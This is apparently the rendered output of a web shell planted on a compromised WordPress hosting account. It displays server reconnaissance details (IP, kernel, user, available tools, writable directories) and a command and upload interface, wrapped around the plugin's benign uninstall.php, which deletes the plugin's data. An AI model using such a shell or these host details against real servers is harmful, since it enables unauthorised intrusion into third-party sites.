403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.216.151
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/13/d818981593/htdocs/GutTrechow/wp-content/plugins/blox-lite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/13/d818981593/htdocs/GutTrechow/wp-content/plugins/blox-lite/uninstall.php
<?php
/**
 * Uninstall Blox
 *
 * Deletes all the plugin data i.e.
 * 		1. Custom post types (Global Blocks)
 * 		2. Post metadata (Local Blocks)
 * 		3. Plugin settings.
 * 		4. License/Addon settings.
 *
 * @since 	1.0.0
 *
 * @package	Blox
 * @author 	Nick Diego
 * @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
 */

// Exit if accessed directly.
if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) exit;

// Load main Blox file.
include_once( 'blox-lite.php' );

global $wpdb;

$blox_settings = get_option( 'blox_settings' );

if ( $blox_settings['uninstall_on_delete'] == 1 ) {

	// If Blox exists and is activated, do not delete data because it will 
	// wipe out all Blox data since Blox data is Blox Lite data
	if ( class_exists( 'Blox_Main' ) ) {
		return;
	} else {

		// Delete all Global Blocks
		$global_blocks = get_posts( array( 'post_type' => 'blox', 'post_status' => 'any', 'numberposts' => -1, 'fields' => 'ids' ) );

		if ( $global_blocks ) {
			foreach ( $global_blocks as $global_block ) {
				wp_delete_post( $global_block, true);
			}
		}
	
		// Delete all Local Blocks and the blocks count meta
		delete_metadata( 'post', 0, '_blox_content_blocks_data', '', true );
		delete_metadata( 'post', 0, '_blox_content_blocks_count', '', true );
	
		// Delete all Blox settings
		delete_option( 'blox_settings' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit